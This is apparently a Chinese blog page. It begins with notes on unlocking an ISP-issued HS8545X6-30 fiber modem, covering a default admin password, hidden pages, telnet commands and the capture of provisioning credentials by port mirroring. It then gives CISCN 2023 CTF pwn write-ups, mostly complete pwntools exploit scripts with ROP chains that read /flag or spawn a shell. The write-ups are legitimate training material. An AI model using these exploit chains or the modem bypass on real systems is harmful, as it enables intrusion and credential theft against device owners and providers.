光猫HS8545X6-30折腾笔记

今天抽空写一下HS8545X6-30(HG8145VE32)这款光猫的破解思路

办移动200M宽带送的,一款很新的猫,我这台的生产时间是25年5月21,大概是24年11月才商用的吧

网上完全搜不到这款光猫的型号,软件版本号V5R022C00S280,在网上也完全搜不到

首先整理一下这款光猫的情报:

  1. GD移动设备注册的时候通过ITMS下发业务数据,过程会把光猫的超密也一起改了
  2. 这款光猫已知情报非常少,软件版本非常新,旧的ONT使能工具、Shell补全升级包全部用不了
  3. 用user账号登陆上去,没用配置文件备份页面,配置文件解密获取超密这条路走不通(顺带一提,就算你拿到了CMCCAdmin登陆上去也没有配置文件备份/恢复选项)
  4. F12大法不好使,网页上所有涉及密码的都会被替换掉(除了WLAN),另外也不能把disabled的属性干掉来删TR069
  5. user账号登陆上去唯一能干的事情基本上就是改WiFi设置,以及把password(即电信联通的LOID)、SN记下来,恢复默认配置没什么用
  6. 捅屁股也不好使,跟user账号登陆上去恢复默认配置一样的效果
  7. 在设备注册前可以用默认超密aDm8H%MdA登陆上去,配置下发会把超密改掉,但不会掉登陆状态
  8. CMCCAdmin可以直接网页开FTP、SSH、TELNET,以及恢复出厂配置、改地区
  9. telnet进去能干的事情有限但关键,至于busybox能用的指令只有exit
  10. 硬件配置:双核Arm A9,内存512M,Flash容量256M,WiFi6支持WPA3,具体看下图

破解思路简单写一下:

  1. 有一个隐藏页面可以用 http://192.168.1.1/html/amp/ontauth/password.asp
  2. 立大功的是这个页面 http://192.168.1.1/loidreg.asp,可以改地区以及切换到非RMS管理(需要超密)
  3. 网上搜到的最新版ONT维修工具可以开telnet(25年6月有位勇士发的,工具实际是2021年的)
  4. telnet可以删一些运营商内置的插件,指令是component delete all,但也会导致一些指令用不了,自行取舍

简单说下流程:

  1. 先用设备背面的用户名密码登陆网页记下关键信息(SN及password)
  2. 然后想办法打开telnet,无论是通过网页打开(配置下发前用默认超密)还是拔光纤之后用ONT维修使能工具开都可以
  3. 通过telnet恢复出厂配置,指令是restore manufactory,执行完复位后生效,可以把电源或者reset
  4. 在设备注册前通过telnet打开端口镜像功能(指令set ethportmirror sourceport 10 destport 1 mirrordate 2 enable 1),把pon口的流量镜像到lan1口
  5. 在电脑打开Wireshark,然后通过网页注册设备(建议在另一台设备执行比如手机),把所有itms下发的配置全部抓下来,包括超密、宽带账密、itms配置等等
  6. 恢复出厂配置,然后在设备注册页面修改地区,先改到非RMS管理(这个模式也能用,但有网络连接无法绑定lan口的问题),设备会自动恢复出厂配置并重启
  7. 然后再到注册页面点修改地区,然后切换到RMS管理,但不要选地区(这两步是为了删掉TR069,选了地区会自动加回来)
  8. 用抓到的配置拨号上网即可
  9. WiFi名可以通过telnet改,不受前缀限制,2.4G的指令是set wlan basic laninst 1 wlaninst 1 ssid xxx,5G的指令把wlaninst改5
  10. 对完整配置有兴趣的可以执行指令display current-configuration(密码字段会被清空)

CISCN 2023 华南分区赛 easynote writeup

0x01 漏洞介绍

漏洞位于scanf,可以任意地址写

利用这里的read布置栈数据,写入地址

最后利用atoi栈劫持orw

0x02 Exp

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
plo = lambda o:p64(libc_base+o)

def write(addr, value):
    sda(':\n',b'a'*0x18 + p64(addr))
    sla(':\n','1')
    sla('k\n',str(value))
    sda('?\n','a')
def show():
    sla(':\n','2')
    ru(' :')
def edit(c):
    sla(':\n','3')
    sda(':\n',c)

p = process('./easynote',aslr=False)

ret = 0x000000000040101a
#dbg('b *0x40159A\nc')
#write(0x404070,ret) # exit -> ret
write(0x404050,ret) # malloc -> leak
show()
rc(8)
libc_base = u64(rc(8))-0x81670
success('libc_base --> %s',hex(libc_base))

pop_rdi_ret = 0x000000000002a3e5
pop_rsi_ret = 0x000000000002be51
pop_rdx_r12_ret = 0x000000000011f497
pop_rax_ret = 0x0000000000045eb0
syscall_ret = 0x0000000000091396

mmap_addr = libc_base-0x404ff0
write(0x404050,libc_base+0xa5120) # malloc
edit(b'/flag\0\0\0' \
   + plo(pop_rdi_ret) + p64(mmap_addr) \
   + plo(pop_rsi_ret) + p64(0) \
   + plo(pop_rdx_r12_ret) + p64(0)*2 \
   + plo(pop_rax_ret) + p64(2) + plo(syscall_ret)
   + plo(pop_rdi_ret) + p64(3) \
   + plo(pop_rsi_ret) + p64(mmap_addr+0x100) \
   + plo(pop_rdx_r12_ret) + p64(0x30) + p64(0) \
   + plo(pop_rax_ret) + p64(0) + plo(syscall_ret) \
   + plo(pop_rdi_ret) + p64(1) \
   + plo(pop_rax_ret) + p64(1) + plo(syscall_ret))

pop_2_ret = 0x000000000002a3e3
pop_rsp_ret = 0x0000000000035732

write(0x404060,libc_base+pop_2_ret) # atoi
#dbg('b *0x4014FB\nc')
sla(':\n',plo(pop_rsp_ret) + p64(mmap_addr+8))

irt()

CISCN 2023 华南分区赛 oldheap writeup

也是挺简单的一题,比赛的时候刚好没看…

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
plo = lambda o:p64(libc_base+o)

def new(i,s,c):
    sla('d: ','C')
    sla('x: ',str(i))
    sla('g: ',str(s))
    sda('g: ',c)
def free(i):
    sla('d: ','F')
    sla('x: ',str(i))
def show(i):
    sla('d: ','R')
    sla('x: ',str(i))
    ru('g: ')
def edit(i,c):
    sla('d: ','W')
    sla('x: ',str(i))
    sda('g: ',c)

p = process('./oldheap',aslr=False)

new(0,0x18,'fast')
new(1,0x100000,'libc')
for i in range(3):
    new(i+2,0x18,'a')
for i in range(3):
    free(i+2)
free(0)

show(0)
rc(8*5)
libc_base = u64(rc(8))+0x100ff0
success('libc_base --> %s',hex(libc_base))

edit(0,p64(0)*4 + p64(0x8) + p64(libc_base+0x221200))
show(1)
stack_addr = u64(rc(8))
success('stack_addr --> %s',hex(stack_addr))

pop_rdi_ret = 0x000000000002a3e5
pop_rsi_ret = 0x000000000002be51
pop_rdx_r12_ret = 0x000000000011f497
pop_rax_ret = 0x0000000000045eb0
syscall_ret = 0x0000000000091396

edit(0,p64(0)*4 + p64(0x1000) + p64(stack_addr-0x148))
#dbg('b *0x400B1D\nc')
edit(1,b'/flag\0\0\0' \
     + plo(pop_rdi_ret) + p64(stack_addr-0x148) \
     + plo(pop_rsi_ret) + p64(0) \
     + plo(pop_rdx_r12_ret) + p64(0)*2 \
     + plo(pop_rax_ret) + p64(2) + plo(syscall_ret)
     + plo(pop_rdi_ret) + p64(3) \
     + plo(pop_rsi_ret) + p64(stack_addr) \
     + plo(pop_rdx_r12_ret) + p64(0x30) + p64(0) \
     + plo(pop_rax_ret) + p64(0) + plo(syscall_ret) \
     + plo(pop_rdi_ret) + p64(1) \
     + plo(pop_rax_ret) + p64(1) + plo(syscall_ret))

irt()

CISCN 2023 华南分区赛 hnlogin writeup

送分题,比赛的时候本地通了远程怎么打都不通,心态炸裂

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s) # not recommended(ASLR)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
uu32 = lambda d:u32(d.ljust(4,b'\0'))
uu64 = lambda d:u64(d.ljust(8,b'\0'))

p = process('./login')
#p = remote('172.1.39.8',8888)

pop_rsi_rdi_ret = 0x0000000000141e21
pop_rsi_ret = 0x000000000002be51
pop_rdi_ret = 0x000000000040269a

sla('>','admin')
sda('>',b'2023@CISCN' + b'\0'*22 + p64(0x407188) + p64(pop_rdi_ret) + p64(0x4071C0) + p64(0x402510) + p64(0x402704))
ru('\n')
libc_base = uu64(ru('\n')[:-1])-0x21a780
success('libc_base --> %s',hex(libc_base))

sla('>','admin')
rop = p64(pop_rdi_ret)
rop += b'/bin/sh\0'
rop += p64(libc_base+pop_rsi_ret)
rop += p64(0x407178)
rop += p64(libc_base+pop_rsi_rdi_ret)
rop += p64(pop_rdi_ret)
rop += p64(0x407178)
rop += p64(libc_base+0x50d60)
#dbg('b *0x4030E6\nc')
sda('>',b'2023@CISCN' + b'\0'*22 + p64(0x407188) + rop)

irt()

CISCN 2023 华南分区赛 Virtual_World writeup

0x01 漏洞介绍

漏洞点1(Double Free,可以不使用)

漏洞点2(VM里的栈操作,主要漏洞点)

首先是pop,可以用来泄露地址

然后是push操作(这个可以不用,改用edit操作)

edit操作,只能调用一次(也可以不使用,改用push操作任意次写)

0x02 Exp

程序运行之初直接给了栈地址,直接泄露地址做栈劫持ROP即可

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
itb = lambda d:u32(int(d).to_bytes(4, 'little', signed=True))
plo = lambda o:p64(libc_base+o)

def new(s,c):
    sla(' :','1')
    sla(' >',str(s))
    sda(' >',c)
def free(i):
    sla(' :','3')
    sla('x>',str(i))
def edit(i,o,c):
    sla(' :','2')
    sla('x>',str(i))
    sla('t>',str(o))
    sda(' >',c)
def run(i):
	sla(' :','4')
	sla('x>',str(i))
	sda('e:','a'*8)

p = process('./pwn',aslr=False)
#p = remote('172.1.39.7',9999)

ru(': ')
stack_addr = int(ru('\n')[:-1],16)-0x20
success('stack_addr --> %s',hex(stack_addr))

new(0xa0,'\2\0\0\0'*10) # 0-libc
new(0xa0,'\2\0\0\0'*40) # 1-key
for _ in range(7): # 2-8
	new(0xa0,'a')
for _ in range(7): # 9-15
	new(0x90,'a')
new(0xa0,'1-libc') # 16
new(0x90,'1') # 17
new(0x20,'2-heap') # 18
new(0x20,'2-key') # 19
new(0x90,'2') # 20
for i in range(7):
	free(i+2)
for i in range(7):
	free(i+9)

free(16) # stack
free(17) # fastbin
new(0x28,'leak') # 21
#dbg('boff 0x19f8\nc')
run(0)
for _ in range(8):
	ru('\n')
libc_base = (itb(ru('\n')[:-1])<<32)+itb(ru('\n')[:-1])-0x219e20
success('libc_base --> %s',hex(libc_base))
free_hook = libc_base+0x2204a8

new(0x80,'unsorted') # 22
free(19)
free(18)
free(20)
#dbg('boff 0x19f8\nc')
run(1)
for _ in range(10):
	ru('\n')
key = (itb(ru('\n')[:-1])<<32)+itb(ru('\n')[:-1])
for _ in range(10):
	ru('\n')
heap_base = ((itb(ru('\n')[:-1])<<32)+itb(ru('\n')[:-1])^key)-0x2f20
log.warn('key --> %s',hex(key))
success('heap --> %s',hex(heap_base))

pop_rsp_ret = 0x0000000000035732
pop_rdi_ret = 0x000000000002a3e5
pop_rsi_ret = 0x000000000002be51
pop_rdx_r12_ret = 0x000000000011f497
pop_rax_ret = 0x0000000000045eb0
syscall_ret = 0x0000000000091396

edit(18,0,p64(key^stack_addr))
new(0x20,'a')
#dbg('boff 0x1F6E\nc')
new(0xa0,b'/flag\0\0\0' \
       + plo(pop_rdi_ret) + p64(heap_base+0x2890) \
       + plo(pop_rsi_ret) + p64(0) \
       + plo(pop_rdx_r12_ret) + p64(0)*2 \
       + plo(pop_rax_ret) + p64(2) + plo(syscall_ret)
       + plo(pop_rsp_ret) + p64(heap_base+0x27e0))
new(0xa0,plo(pop_rdi_ret) + p64(3) \
       + plo(pop_rsi_ret) + p64(heap_base) \
       + plo(pop_rdx_r12_ret) + p64(0x30) + p64(0) \
       + plo(pop_rax_ret) + p64(0) + plo(syscall_ret) \
       + plo(pop_rdi_ret) + p64(1) \
       + plo(pop_rax_ret) + p64(1) + plo(syscall_ret))
new(0x20,p64(0) + plo(pop_rsp_ret) + p64(heap_base+0x2890+8))

irt()

0x03 Fix

patch点1

patch点2

修改为

这里实际上不用512那么多,40应该就够了